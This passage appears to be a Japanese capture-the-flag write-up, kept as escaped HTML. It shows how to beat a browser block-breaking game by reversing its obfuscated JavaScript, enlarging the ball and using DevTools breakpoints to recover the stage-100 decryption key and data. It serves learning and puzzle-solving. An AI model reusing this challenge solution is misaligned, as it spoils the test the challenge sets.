2CZdVSETTHXRHbpbsBr1PGVCWrlCuXAG9FcWbXmRidUKxwT4lnvnaYgo84QB3FxhEL+iEejR0ANMkNEA3U0dvWK1JKwS+lylwnzvhIQsYJk4xjX5gNqW+3Uznm80wbTyLMxYd801oF4ws+C4Iwz7Fpo7KPO/M/3nv8DO97D6K8cFCHWcLWuhbQ0af856Ucs/P5edKzmT9ShZGro8pjXavPR8nDiCbuZshYmc0DO32s/BkwTa4wusK0GOBUKpr8u68DT6X2WyjMMELgVk6kdsKA/GLcu3yjCZPrkDWF2iRHSpKccAJ79UzFvPDdhRk2F+WznaIL6OaajLj64kAptls58cMMOzz4W4lH1m206D1A5sNB20q2LQPIXSPY8jbWOsgSMmXBY82E6lqSH9xvWMZB+n4tyFoaLNGgRAc1mo/wTlQxk448H4girTCac5Oy3+SMaG369rvvcSqcT0Z41lQ8MiVkyjtqjleI7wBZDlzKEnTdzCW9se9tThBm9cHDPYD76beUTly3BKpC/uAKLB7ID5B5Lz0aU2Ex2jPOV6MxoFiy4SBmcBYNchy52r6NYbkZzceokTbzINVuXIImIAdkKhjIxP5y9J5/BCUHdiLfLJv7nYahZAg+84f/BAEpn2Y9sZHhq1JBI07+BHyrQU4lR+Ypsv38yzZbAfGOuPIYC89XodayOWnIMHlc1W0PgvNk2jbB21N3tkutFhcUfAL/7U+Zamz6yiMFKDrFdb7rYI7ZKWBF2/+gGGL7Ertd8/x8x4s2wDTtTh1rPOL/PsMXgkWJI3SojzIMeR6VrHNZI84m1sNJM0EQBlU4nnxLIw9mUlNXboxO969FqVLG3uoX6qD548RBzuaQgHlOhsVawz1DB35QPR+dIJ5luQSpAOHHThdjrbDrxAs1xvdpSLDB44BsPXRyz90eqOp55cKp9oU92Px13Q2fnRIko48WDyt4laD2ZqqTy0T14fKxtTQxYKLrQTMMCJ3/E1HYYuHQa/HEdKDuDeNrFRdN1lEyza/yBHsAYvJEfojWY5ca75h0pBEwCf7g2n2OnVYal7rjy759tYNQHxB76br+Y4HEcEY4hUMj3bbWbingseLwIc6t/BbhTNbyoV6V04UXm7nHR5to0uGwDZs4WWIcOeHbHCapAbv8HF5kH2NJfZ1JQjeb+37clJJsoAaHEvX//j9TUmBcA7y1enxFLP7RLhgOMI9drQasGn5gp6UnmB4EH/oGC4eejNh9ICLHgfBdZZBfbiSxSUqmqtxJ0aPRskmxFeXJbBkcfNSuERcD/6FEbCAe8nVpv9Jx1WckQ5cfljfXIXGLiXSaYtfdFFyXdMjmFqtr3BqwtLwfJYGwPXIOIniciDRbIb/Awa4pQS/R3TaP7JHjtCGrmzjAMZMMyDRzOeaDBojz3McY5IEICtq0EvrlQU8yfvge3dH/fqKi+9YQtT76EfE0jhxp2r+IRFYAip+Ta0o0/breUs8rIyCytKIgPW3uPB1x0VPiPQtiuKhgn1vbj8gBV2leqFnQ5JQltkm56o22PSxdCSCXjUrzGPDzwjWgd5TOwUtf4vdhCrBD9aRIBtjcSBUDVVkVmIkiE3NKSVTrQhbOyfegFtK1Tpqoxs+0N3qoFXaXnXJAMJJks80TfncEI2GT8lWyTSJngvscBW2e5fyT2Su9ErTfoC8qFOJEsHuaBQRkacH0JNYGrPrMWXcY65bsJRHz9MpbcufrxrPqISrFyHENySJCSvP7fa1syBmK9H7bpjRgGAbx3uahrABCCSCzm6f+dWCWfbmashXxfgeea5IdQN9/xLoHIy+mVhOYOiP50QbXgT6dNTHOIdMdMJ2+XLefG9f17kAHq0dsB6hxX2e6yYElopIdcvxoldGKKj42tNs5HfAbb6+GzHT5L9BWHmhHu20/hHoNXkfDE6jee/MjuhkIhyPzWmgSB59rQ21tD8O9sUTQbXLp8OFvottqg3tY7AYF1rLB7ALPq9MgwcQFoPnd/Pyg62o+VOZdcz+cMh7OVxFlXbA+v/N2nRIcsCQIv5Exg9afTQDHcxlCnr/bK3SEJJxGJyKiHNDF3gdO3MoPXR0y8cuqfZVs8W/DaNAVRaCL4P1VyeAksmBM0VOzOf9850LXzq4oL43cI62zPY9d3cF9lVmoMIuy+xDYU4iIkmqwmXISaeYJPF3BiH7JP+oyVv0cjNTIjrGNf5Y/TPAKIoOLy22nbq832v8wrVJdHooFnVt8ZU3N/tsVjO/NY+zIFKwFGvOcN06OcI4+1yedasG+lr2a6W5VUoHJHjlapXmnlRxZjcrvB1e2Q+QoNNfk2DkXsdnmm9ADHDaVLzANpC6Z0qmIzcb6Fw+yYa7ETWqg1qSgaBNpUhtTVzdQ8kXT0VM+rjbxq0Gl3NmvPk0+fx8XfkrtBewnU1N1C4qzSiaZlkS3lHipmd80KrcwTnsehFG0PDBkZyRAnbYVLp4VGvZ1KqO3XW3P5FVzrf2U6oATC/fqlsSwdMaosF4uPcnrcrnFe0i/JNuupTi9LvamtLSG2bZ+NezAUW2+QFxUTWBj9sKKBVW8VBzxJnpAVBjc4rf+wnaDth6KpQea+ahHhnEUxIAgD9szPvgSsABNYyH5RVHU6+XAOSh30BD3EGMM1KmEk68oIOuILpAskVwpwnoPYQKhqbWE2Y98dlGYMIjvxb8rcJiFbE5IWmaqtT/WaOL5lKNwMTWDglLR7Kd2xccoO5LMVXmPJmofdKcXG/3690UdOUVtlIcZtDHOCjLv4UHggg8EFSuODmX/EnVupedua+Ch/JDWcj/WReeHbj6GZ7kAJziae3crYPOamVsYvxCaHlnPsx/b/PhppctyfeNtXm0RDvvBsOldn6uPzTAwHR/ESUagTYT0M0aOyda8AmdUtDWvoRp7fZAmd8A1jgRjzpncRPI0uFyfoRSXfuCih8dGlIL2WTAmuc0QgTkgelo5EFM7WW9WjOXBrC51GRdG9peGhyOBk16B30GuC79Q8oenPIpUc2rTM2iEopPYDkAkUOvORmJVDb7oj8gw29mrYFWSnen3fyjrfwW2ieaOfClbTsSruEiRgqD/AY2U4oG3oSmTbZg/BL2eDVQVeA0uB8vZws/tdpQ6QhErzpG5dXQERe9K/4dieFf7ycow/g2WT4ikXCZyJ8XI7MtlQIRWhDV9uH0pOI8QlU8hqKVTgehSDPxJYho1dNrJjyih9DK+bRS0RvxO0uC3ly1XMb9ryBeTdAWrTK1m3e6MGf+ubkzc0/o0QIJ7JQyrdjAQ/I1EWEvaRMaocSsFIjmWqzznE1IlcRl6d4jw1WokAtc+ljspEl9VAjEJbJrnmR0/iCaIuZ3WiDRe2hLQr0myv30oI1oJxv4Cx9o7Ya66N+jLtbS4QUt46CwTVxQS1BiJLO/XS92rajYZ9a7kZ6F3tN4xICDNmgRJLna4PkFLo/ktzgxpbMDuwwCMS1fNeAaIrvfk4JU+3kihPlzFLyweBqY8wV/n0MlmVa+iva1uXN4HWLx7gcqpNBDxuBDV1BeJfTNkDH7vfcBI7D2zvTGbxKbD2wcpbLgRsFKpG6EGXUS1o7FE6UC545JnaQywJUeohOjn9BBmOG1TdOzurALOo+0Te0mTmFe8A3oikFzqWgdBoorcavMnymdTVP4sUda2D/XB02DMFxbtS+S+1sP1H5OE+Xf3idhfgks6TyQaWgYVOrFpdbIHyThy6b61RprIGXgJp/Xqw219pHVWbMuL20E1twCPc1YKCQ9qH4Ix8bnv4ahFAkVicQdVG/R2kEyC/F4gdQwN+hs3fj/PkJwlasTw0DW82EBY0rqAJmgOv+9GV2ghrOHxgCdGkRsp52Te0R+zrZQSNe5gzfaGW41fJmlgF/YNP1Q2YOHiz1fVeMmIvfP30gUU3MV2aD/HvFi/0+G0HJkvquFtB2clMGO0UGIDAO5NCnI0rY+abHw2BTEHpK0jSCY2MiYhzUpeRw2MjgDltUDqNO3LAmpMUbiGj79i2BSnN8PPZzopcb8wWpyEmP/UdUTibttKu+Nootjqe+cBIoqYfrDQeFWvG2nKm16OneJFlLNnCoMaAUGCfKz1Xn++AeKC0jaAM3Z3Js8qlrvW5BvMA8/TL5KXsvs5vSh83uVzWgJ8MaJQTlb+T52s/ns3Ud0KkOo0aXVCWP7hT7KwDJyle4idtGqPwtXWbGkxP5esYTSDLFJBZqGbYqnIeHZfPQ9I1nGIrBxesO8J3kGvvUvqE4et0WOa7OPg6CPscDmwf9gcxxFWYiq2MlTSNmDQbaz2f5yepX+WSWtViZOfFCek996M6xvitvuqStLn6GihvZhZbCYygqP+zpczV6oz81r6RGmBAQraaiz+l9z53kyXlXPoCPl6N6fUDl/ZwxgjtSAQW40cX0/qTb/SceWIOcjQgtuq9MXqIhrubLzOagl0KVKfpNBPcUVe8mihZe0BMuM/vs7Nmccc0qwk6VMU7KiZR7ux/BI9kYvZO/tkT4+Yhz8AhGl2lpCuzZFM/OnmglEzWte9V31e/hiLy1HrsJrWpW0zvELL1vpt/hLzL2Zxi4z5tzq2xftryLwZC2CuMbg7A1mI/rGgJOLCknOQz0kQqymhubsZw6rCzzilUr9o0rGuXLkRKGVeaR5gO88w0Q5jClTBkEGcXbyVGEAlTQJ7V6hkp5D9nvrLLIghTfu+u4p0k0Q+Kf3qaUejCO8fQZpcporCwgBPUaQZZG2vguujCF/w/Os84TcEU4fcwhFdwgrVkSdONvYTZItT8K8aj4b7qnk3pb6S3eUIOfeyzvob9afkZz+cbG7N0omaiMVKMVlEvUxlhpchteMuErkdOyYmV7p0r09qBZUbNMKopwgNS/4cbRfv/SiMyubWQLQcd3qZDZ2amI3BVO/wGwa+ndhhWGMzhAZNAcdg5F2zqUl3RCd9B52q5sRxALCM0stIUJ9WOUvK3B+rRgOIw8uK8Sk43tPjkRqa/b+0F9NN79Gl6q1wYYoxbCzqmHB6YMSv2AlBZ/LwsDxlqvh+qFpBhZzmMjaKmERD3hTYdkTYg6AZU4JCtL6fM+7EAXPlJjXoEGG8t3Ch1dOMZGdEWT1nSWIVzBweVnVBX6hknPLUui3Dvl2xpy7Eqixnzqqp0CpFbWicKE7c7rm6Yj6JuhcGhsUYqWv1D6B8BU8WZ8zgiAULcG/D6T9Gk+bSc9PBbNuw2V56YVuZONRkouBazVCsAut9WJCnMDyrmSAy6D9zKxJEfhdlWBTlBh2Kf59KZeb/mHbwDv3G1OVVHZlYiuZ7wtXFa6x31gkXrGPyaVYGJLhQs3UqnRPv6lSeMyIGE+3sk4y+kiaBU7z9FnFNG8AHBvLYHPcubJ4w4Nkc+TsMtenR31mcTES8BDe/OmuuFNGbd/SldY78UZnmTta5LynhxE1ktrgdpvTx3eIVqrBiMgzPxSQ3O95K5age41Pw351wT/Zjy7oPtOIweEIvQr6+r6cwuxxuWXAgMdmEMTLcoqpid5E/s+jka1bzbr9JapRPmNdrA5DEJyDhGAQt8CapLbSX8lJlVVQcpVII2DP/gWiNTDobho4NVzIytGTkFv0zsMO7OWogwB0L1Xm4YrSZMr+HBhqKvv/7ZNfwcsAHME6S4nuGT4TCGWIkahQfzs+QnQff2hskDv9MLRe00m1BHRc27sM8VINlDx/aDahPSu4Am322KW+LxKxbNubQQ881GkuMRCo/7tsi7B6ZrDlz+nt6BbSgUKKcNjxRB5a7yzop6g+8Bs/q1K6gXw/GB26LHp+MjGGdwKScRafGKM1Ng0Z88/s4r3AKUAbee5ay5Cuns1JSH9EtVT1SFo3kVk8LaFWjPveRtI1X8HR3i+XAKiGSUeYexEi00hH/Mt2yn9xwSGnSokIFqqYRbFwsOtVP8jV+lQZEFRsqOuAeaTLzJ8LY7t02vh/YpxpWxrgK2OmffcNYWYPg8r9qKoH3UKVvjjQjMAU2m9Wy7xKPk4u0JVbG498cScnArFQvn8/jpkOC8ebMjWHAP7mE3gNJZ6/krqcWgyoJizZQTLmlDI+V+Rw3CKfsslX1DXzH2T+lDNJudvPFyqRSYwuCuVS6Z4ow5xb+FQnT55oZB21/Jt2hEmTY/jg1xehvYdgxqQBoW4ugFa4R45+KcYVDCmjAsAJSSMXqQTpXaeofKe+sbyz1zB6VT1ciowct10yF0uHpzaUelSag6wk3xpglgHGRLsDDAq75i5J6HF2uuWYJsjZKcwp5iHdUBHnD8ne+SLBOwpmgwTKwASyU28Bm9N5QKTaMLcz+kcKbSzUfDvHQtqrpDzHGBAcEYXH8j0inrvU+NK5vr3F7lxN9PpjG2Ct3aR7K7vNa1cIm18x1mJbw5ChLxJxn1wvL0tv5eeW1kaLBzrWVSFEYi3jkzbgMtZ0/hAdXTj179zNHxEw6QpTNxuUW7Ep03Dtt2R5vEqEoD0iJVXHUQ8U1gORg8hZvi07J0b8eyrmEe+YIUJvaOmgRQgDQ38jY52SLV1Tkkk8YICBkM17vYkwGhNh8wJqUVtYKedwvPsdHv0d+qqUnQRK/gy3aYpGJcKlXj7S/EJrw9oK28PHjlwv3GORqU+NekksoT79eZcDp2wRWWE7m2es4CZE29bVRnxAXZoJ77Jc5vyfHeP+cC4iaN602nqf0QZGqzR/cYLPrp4eAmuF9ehwChLSmQSy8ZqQDCbSRBgEqHFdJAXxXWjoIH9s4RLgfmBYi4HVnxPkTP99Pyk2UTadi7jk1IZZ27UDE/XXhPWqNKauk8HuA+RFdjXLtkIA3um4uykfSu8HZLM2QHAKtyBvnWDYJ8AynExMuCoCutHR7xruT0sj1ITob+8iEEo4IWtpfqmnNvDLzXKiSgSUy/+MX65mnoObHHYwcCkLrsqbCrIBWcSSn4Zt1NiPfL6F80WxABNYPEL8HfQX0wdC42WrqNW2g10z7CtuAvnneoysSs3+QrK+HNNbqiskY5Fo6L3lAKplgaw4Q1/YY2kYhA+hMfRkYNP6iLt2Ogtn/c6Va9stoN+wjp1Sz3P62Vi0zD5gA5uUe3f3Fl0A3oxHms7PLcOCw18GUw747QlenUksEX7uPbkNTbKlYy76fC8SjNyDsooyTIWzFyIWtsmnGCcwvM83is+vnoJJ8Ahy7JLgms9l3qAYNq0wAKr0UWoxgyPgnX9sPux7MvWS2v8GwU1qbtD+t6KxjZKcYGtxjXnks0QMNDrkX7DT9odnW5j3TmyHmkAURzuS9sT4Q6gjGSQP0z+LGsFtodGu2oIh8Gc9d18qOwJwBRCFjb3QM1vWtiSc1v9gTtWTT3IuaSk3Q5PKkRi/KAHk3YM1Edx4wKGAH+E7Vv6Nh1TQVH9mH/0iy6VN4E1bFrG1qmwkFh/BupCVx+/91OjGLRRnviQ8gCp7kXOE5UWWI48JYbGkaH9+IMji1qYxovU5jzh2+heVRhp3c7j0b3JPN0WZs4aM5diLoDU3uxPa7mb7jF9cnnGvtA01nCPr9zz0w9lYAkH4PKhORF3kSUv8KXBS2DM+tZoPWmHM3NTwBDSxFGtNsEt+7cElhQWl3TUKZNiA179s7Ms5h9GncgE4llUIW6DS+Df4FKf31q1BKnqCBxdKYyUuTOjeLLuu1K37RrFGARtZEygPXBFktwo+lLq+jfDaHXlBkkOlVohpaGrR8BITWHgVZ7XlUZ6pZbLZPqlBtva0u99eUpO29uQYhArYUpGrIfwQ+STAk5rW/jSVoZ0AFs5yVMREZvEFMS6gZmDiPOvoW+1NRDn9z2EbfZIkuSAmML5Ua09WymkkDdCwuP/j/SPZseJe1n40PpPj41qkZxWJNuQHWmgWMvFiMzpk1r3bGoJN2CdqHepfUuSRWtWTURLfzBo5DwwpuT+BY6Bc2he37Gg698qoy/Hdsh/+DoGD6ov9TOla+ghOcMqIKSt7LCptgrcmCDIzNuK4VwO4+Z+cOTKSZRBeqFfWn9tZfP2MruX/JiRA7gy8RxsyzVBAhce23u2DaanxoKmm98YZ5IOQQ9yPnteAAaas/Tc0cJvpD5Q8I1fB9nSCk+aTFyu2+aYJBxcRrrfSGHn2aggTrltTE3MPEV6ayDUOwr8vMjqbGcnxGsZcZL9FxliRhJUCR16qkOZJZFGk7PYk9jf6en5SnehMd8xwdWOToal2sCE1aOQamW0BxafMYChiSusZJDUXjGd+FxKqPQZdsBO7jwhShO4eNShKBHDRprqpP1TAfYLIvTyTY/QO8XV5/n3MFXWMZTaoOuQiu0bK8r9YRxdjyCf9NhEjPaDeHBSWnQUIYe/jaHFveg4/rrcYlfMxCKfb6a4i+XMHyWmlEbkfKjYKVA6Rd5xiO10HDHs9DImEcmBXFGjG/MVLq+/OTbCFoMNFEm30q9rOeGKdA9OCLM/A9eQINFbTvYiN1u6ZA4P676zT3l3/BsE7ldTNWxjgQw3K4pH4eJV0MHixfU4r+ccspi2uA4IrAUPcpb+6QoeofKJlx4TczPIBN37yxNGtQjFVzXbysGStaSmWl8KuBPBp3qx1ZLpG8/ZrJcVRXCEI1b4xiG+s40pL6GYLRzU4pe7GZ/u8+nsKlDQC14UqcbUoM9QLfy+wSoeCjGXGLNOwDDwTlXsS9/I+B/BoRM+ELfg21HFFUTJ+CKQLxWFBvBImOWOsPoQ1cUn2WwD0UQxBHMkrGs9oe1zasJuV0kf7pRJGICRrfG0asyu1GBsYpl2WaRtP/6iIia7WW2/hR+Dzod908dpyGg2+yeCKP41+NBzujgR1PjJ645BcRypKfh0L5gIp0PlGix7xqmSB2ZKFeLjutJuoSYcKT72oT/EnWilpFs9PIi/KRWgP39ELmpKadMB6jCYP0kKlpF57Vyw3hkuxnjg0GmCROJUk9ZDM02YYtcbnfKCBE9mqA2pgeEthpOy7MwA1JTBmc7slWI7q1RwY7fl4qwJZn3TyOq7Nh2hnRBcZHLbtH8nzsrPpJlbTaBrC2Rp6mcv+sTRYC7pP/eSjFcG5kUQBV9AVc+1gw/N9CFw/MAPM4FQ3tEusGjHco2aHkiFmv8Mm6ptP0SLAjnsN0p43rD5yjthhzOx10fj15ydC4s1Y4Bwetd+MDztpmlcYsOVRw+AsGTJDSBBHMr4+lTywwpDj/vnAcEdKyRUHQejVTpYTDPSZ5K3HbN9JBhi+yaxTiwhvNLjoOyjkvS7t2HZgnrBqZIzFw0xc7U1WyBF8Gdabr5Kcs5K6cCvorypG/lGw4zUnkshY69YPO4sTQz8gyEPXHFcjDwkIwDzpR4KJgHVN/0acSnIlc195HZcgJc0zusTl92uizUV+QtkF08K6qWlaRqOQSo8UPUUfXuORAvcGpbmC01CieeW+etzVDeOpdOBn1tSCCWpDhuiXSa2o9d1si5SF5eWq0ZFa1uWT2Hh2PcVJVRiDX3/3IyOGO299nPzJe3Vo46KGVCBKRYxoQ//ItcoWkqZejmof97brwei7Z5eQKt407QjmgDcf7ECcZ0PPbmZNhu9ccdk9faHbdf1o147twDaZnWQGmGpvifQjxux/KlFrSTvM5iIJcPm2bkAgTpOXwSC7dEnYxm5pifNkcYJ28vEIaZITIIJecgXlKfmsg9d8IvQpL8f6wen4tYcbEE2FTFVaHBg/41rHecWzViHrLk73a8lZko5zMeN50r1orHjYiNcaRog3w8Al5tDHW6qEXYC6gRH6ccSLia6hJZAA/JKsJKDGpFGJ/ght7MSr493pgn5P8mV9GAI7Tr+zPuYA3fLMbpGOatTkj9pibZ6YXz+lA07YPM4lcR5Jt56qSyRrGplVugg9ZNhOnmvAYCBk7N70Apw5OSvLu6Mkdv1rUf38yZL8O2qQgkYDl1LP6g0aOdUS+P2b/o1bod0fTly83I0I/QKR9+KQ1LHFdwfegUQE7YPIIgrapRNUBs1oDQESUdaFxSMUxVrJVw8F0iyDxyJGL43YISD3OB+TbNBX6O6Z2BijRVQBQoflk37q5G93u4fmIu9e2og2K+XPnhT0g8heGwraEuMt82OiQdpWREzIeG/2/0CF5M3Fr77HoLwQzip4aCyFIenMcWgCwD1aCyYDjpQKO9CwU217ZVNB3+9ZFHvv0pELVbqDyGHPYQ1U2Iygv5ORwDYfthOQkBppQMmjap4ZOudktoXTPmEJbvm0+vrAasJAPPGIGn8xFY5XSfvInQDjTHiYVixldKkRTAQIMYLiv1T2x8n8xWfHteqefB0jm1Jf1fdK/r24RGrg6cMxf9VK5HruNJDeaiZi5r9HiACY3wmRmMpDJ8w65XoJs6LI3OyipCIEKCIvym2VnPxPh9dV6BY7eCPAXvXUdiJtI1ASeA2onNaNUf2X/7VcJsAxWTp7EqPwzf7xLSpei219OLFhfg3e9QqFo8CZ8qKwO1yC30zPpRd5zUfimAQSMGonErQjXs02RM5HKRtLZhCEp+sGAzuCnRFxq/yjDSdgyfDT/KfbgkhqP6TVbcOqRKn198lsCDjSconsy8Hm4qtJ8fjE2iaj39nItlNFIBY6YToFYtlronlaqpjl5XAMCFG1whvQAp+OBQtZAxpYpCS/caGiHpjbNDz3Uk39ZOoEJTSa56UP2Fs39ClF+sx3awPHV3uaaIEvFpBJJUh5tb13OnTFeaBQRTM24bfyxXyvSxjrFuOcFZsTS2nyMbADZPFLFTDJRnRohtPJ8YZoqCdV2ys62eaJycvnukA4Wlsm9tgyEtA3kWVje4C2j5uRRlHJxQuYop8CSFJc54EVeq+L4b4313tvHaA3fE1tKA7t1VuSqdnM6F2QyfWNgK71vB60Vv4fejLbRFnZxCtMnt7PcH/t8+fAwZUEMcWfMUr56gGkn5Cyz1T61+qBHc6wQ+hX5kQx7hnImGB+ZnoMdf3pbKqSBtn47PqXup6wQm5SFukDRY6OvVS8dtOpJPoTGVawcdNzDlKFBEz5zN18fbIbNl3bgX63ojos7E5kU3a605qgOtlD6XwUGy3d+8R/pbx9hQiUsJn50SbOPqiBFAVVh6DqWc8VHc5Y2p+2QGnAJi5oh+Egd8Jc02PJbbQYx9bjjzoegVxOYbg9hfLAMAp5zy4NLS4hGn8cAl+cPDkXIcZ7nCIgQTfkv/vy68FlQJgFH0XZh09lVcnmHPBE3hOklRtF9dx4QfH63+Cb2eYzu3tj5R8yWxTgN1ahJ5emBQLETr7c6S4gL3SZRTfYrqJDf3IgRb6DKsdJiw/POiPrtmxKGjhSgh5F5H5sBcgCo2eCxyurHKgNoWJ7YGeZZWPc9DpMoK6HaUYMZEPyvU8V60QL93VL/V4L++6HfBFQFRbZv5sCfpKYTnaZzrcuQE1PWIRHaEBlwIBuljh65L4GUWHcQO46sDtUkujKndrXG2fbrTTVZGt7lDFYrcTDsZeAsDfragO6kM7OUsbHCH2mGr7OEmfjhZJY+xOAUZdo7+hbSHcJpwk9IdG5g06iZOwg8RXVPmUW9VllGr7qDt6wDTGAmlPdauCpxKC/oy3uk2F86vwbqUkh44g36zzcAeq9wqFGnArjGfjLg6UObnxdFp9VzdvmZW3YbRNnguau37eraeXlAITlQoCVxGprfLJBuhZ6G+0I3UYn9j0vTU6Mjj/Nr+krGy9uQ9ISnFlOeAWIOYaForhOzI/RHq4CUVvgA3Mhiay2am2UkSGO0zmqEK58s8DXZKA062tfFDGpteqSHLxZVkAeAaTHcTyi9+m3z2uy7UKlFQU18NDyjYxbtJ2dNhph6rlZNaFA/zGMdE2NDUF5TyGoQufneQ/+TWQgumuGhEZ3wcpLTJOzOqqWyQ844cFncHjQ/kI4bFBZ3SVz7yDCbfZ0cyC/7VQR5B6zy6hWLBj3e4TNRAb7MLmrfw6VoRCgf5BVCRILnbkHXowu9eV7r6i0nOpurAh8Qnx/EmcQ4Kf4DpFE2L1t3L1RWM9qkB5WPhpflLwOSVYkmTOo4gxmkLbw9YaFAYkaBi/m/9WrjU62cQet6M1jJIbL5IgAUI6u6YZUaXEqP8OFURRNBhheG+2blo6qhIZ5bxB9Sw1hmi76uIkHrC+VsmYTYiQlteRKOmow9FtEV3zaA1EtjGgHtcRP2y71Y0emKIlUi6joT0FfI+H1ihyK1866hcyfP3cTGv/IJ2/bYwHs4bpharkZ+fBebNfuSE2CuXPHxWRpRVXwOJ19zM0g2Pc+uuZ9LD8FML7fpuf3lEFs+VfVNBIFD80sWrcWsJjavSjvyxjeDqTkgpWrRuxftbass9qwNcN+ttM9X5t++mQlxaupgoyyOQ41UaAenWxArH3driB1tTxc/3vyW/NJTyIGsqCO83k5AGLu/I1yP5j+juRDoan/Yx3B6ZA2S5p/Ygv3OkIyEMsfL1mPffzk3VcyMTdjEhgWCpjqEJQVJK6edr2ml3Y9kOAkvIs3UYIalPiH6vLkM9zQnHu2R2LGUWPEkKwmDbB5zifUftGt/+FLjJzQShAKjoXzTUP9uI5GTNH/ieoYdiTy8E9yaVLvQ42SfxI5ECd9ZWRpOQOP7Mm8eVhhXG72aPCq3KMeGRgQX81CDVDfhIbUmhRzDPVPqi2InCkcPW3r1ohqhBd8t67n5tJG18FCics6gcL/RGqTF3XglORt2K9RhT2DBWuu4M/S31jCMUnXqHU9wn7kWYW6N+ZvWP9AERMMDMbpXEIApSBeNuOi3gmKT9ub2JoiypdeHWHzfN7q0+/t9auvBTZ1+MgM41otUsdfhAc=&amp;#34;
paddleWidth: 140
rows: 10
&lt;/code>&lt;/pre>&lt;p>この&lt;code>async[a0_0x9638eb(0x211)]()&lt;/code>関数は，次のように構成されている．&lt;/p>
&lt;ul>
&lt;li>3行目：&lt;code>_0x59b60c&lt;/code>に鍵のようなデータを格納．&lt;/li>
&lt;li>4行目：暗号化された次のステージ情報をもつ&lt;code>this[_0x4fab65(0x259)]&lt;/code>と鍵&lt;code>_0x59b60c&lt;/code>から，次のステージ情報を復号し&lt;code>this[_0x4fab65(0x23e)]&lt;/code>に格納．&lt;/li>
&lt;li>5行目：次のステージ情報&lt;code>this[_0x4fab65(0x23e)]&lt;/code>から，さらにその次の暗号化されたステージ情報を&lt;code>this[_0x4fab65(0x259)]&lt;/code>に格納しておく．&lt;/li>
&lt;/ul>
&lt;p>次ステージ情報を復号する関数&lt;code>async[a0_0x9638eb(0x256)]&lt;/code>をみると，鍵&lt;code>_0x59b60c&lt;/code>が正しくないときにはエラーが発生し，nullが返される．
その場合，&lt;code>this[_0x4fab65(0x259)]&lt;/code>に&lt;code>''&lt;/code>が格納されるので，そのステージが最終ステージと判断されてしまい，ゲームが終了してしまう．&lt;/p>
&lt;pre tabindex="0">&lt;code>async[a0_0x9638eb(0x256)](_0x24a27d, _0xca68ea) {
const _0x38c089 = a0_0x9638eb;
if (!_0x24a27d)
return null;
try {
const _0x4c354e = this[_0x38c089(0x1bd)](_0x24a27d)
, _0x5787db = this[_0x38c089(0x201)](_0xca68ea, _0x4c354e)
, _0x28060b = await this[_0x38c089(0x1f7)](_0x5787db)
, _0x23cba4 = new TextDecoder()[_0x38c089(0x1ce)](_0x28060b);
return JSON[_0x38c089(0x251)](_0x23cba4);
} catch (_0x259b43) {
return null;
}
}
&lt;/code>&lt;/pre>&lt;p>鍵はどう求まるかというと，&lt;code>[a0_0x9638eb(0x1c5)]&lt;/code>関数で三つの値から作っていることがわかる．
さらに，この三つの値は&lt;code>[a0_0x9638eb(0x210)]&lt;/code>が呼ばれる度に更新されており，これが呼ばれるのは，ブロックを消したときである．
すなわち，ブロックを正しい個数分だけ壊しているときのみ，正しい鍵を作ることができる．&lt;/p>
&lt;pre tabindex="0">&lt;code>[a0_0x9638eb(0x1c5)]() {
const _0x22e2e0 = a0_0x9638eb;
if (!this[_0x22e2e0(0x1ec)])
return &amp;#39;&amp;#39;;
const {acc1: _0x46cab5, acc2: _0x8fbf66, acc3: _0x53d9fe} = this[_0x22e2e0(0x1ec)];
return [_0x46cab5, _0x8fbf66, _0x53d9fe][_0x22e2e0(0x230)](_0xcba113 =&amp;gt; _0xcba113[_0x22e2e0(0x1e8)](0x10)[_0x22e2e0(0x207)](0x8, &amp;#39;0&amp;#39;))[_0x22e2e0(0x262)](&amp;#39;&amp;#39;);
}
[a0_0x9638eb(0x210)](_0x19e27b) {
const _0x25369b = a0_0x9638eb;
if (!this[_0x25369b(0x1ec)])
return;
const _0x455fb0 = _0x19e27b &amp;gt;&amp;gt;&amp;gt; 0x0
, _0x4c893b = (_0x455fb0 &amp;lt;&amp;lt; 0x7 | _0x455fb0 &amp;gt;&amp;gt;&amp;gt; 0x19) &amp;gt;&amp;gt;&amp;gt; 0x0;
this[_0x25369b(0x1ec)][_0x25369b(0x269)] = this[_0x25369b(0x1ec)][_0x25369b(0x269)] + _0x455fb0 &amp;gt;&amp;gt;&amp;gt; 0x0,
this[_0x25369b(0x1ec)][_0x25369b(0x26c)] = this[_0x25369b(0x1ec)][_0x25369b(0x26c)] + _0x4c893b &amp;gt;&amp;gt;&amp;gt; 0x0,
this[_0x25369b(0x1ec)][_0x25369b(0x1fd)] = this[_0x25369b(0x1ec)][_0x25369b(0x1fd)] + ((_0x455fb0 ^ 0x9e3779b9) &amp;gt;&amp;gt;&amp;gt; 0x0) &amp;gt;&amp;gt;&amp;gt; 0x0;
}
&lt;/code>&lt;/pre>&lt;p>以上より，ステージ1から一気にステージ100に行くためには，&lt;code>正しい鍵の値&lt;/code>と&lt;code>ステージ100の暗号化されたステージ情報&lt;/code>の二つが必要である．&lt;/p>
&lt;p>そこで次の手順でこれらを取得することにする．&lt;/p>
&lt;ol>
&lt;li>ボールのサイズを巨大にする&lt;/li>
&lt;li>すると3秒ほどでステージ1~100までステージクリアしてしまう&lt;/li>
&lt;li>Chrome DevToolsでブレークポイントをasync[a0_0x9638eb(0x211)]関数の部分に，タイミングよく設定して，ステージ100の値を手動で確認
（値をログに出力できなかったため手動で行った．ステージ90付近で設定できると100まで楽である．）&lt;/li>
&lt;/ol>
&lt;p>ボールのサイズは&lt;code>[a0_0x9638eb(0x1d7)]&lt;/code>関数の2行目の3引数目(デフォルト：&lt;code>0xa&lt;/code>)を&lt;code>0xaaa&lt;/code>にでもすればよい．&lt;/p>
&lt;pre tabindex="0">&lt;code>[a0_0x9638eb(0x1d7)]() {
const _0x3dfc6a = a0_0x9638eb;
this[_0x3dfc6a(0x26a)] = this[_0x3dfc6a(0x27a)][_0x3dfc6a(0x1da)](a0_0x15c057 / 0x2, a0_0x3f7e7b - 0x50, 0xa, 0xffc857),
this[_0x3dfc6a(0x235)][_0x3dfc6a(0x27a)][_0x3dfc6a(0x215)](this[_0x3dfc6a(0x26a)]);
const _0x5947c4 = this[_0x3dfc6a(0x26a)][_0x3dfc6a(0x1e1)];
_0x5947c4[_0x3dfc6a(0x265)](!![], 0x1, 0x1),
_0x5947c4[_0x3dfc6a(0x22e)](0x1, 0x1),
_0x5947c4[_0x3dfc6a(0x1cf)](![]);
}
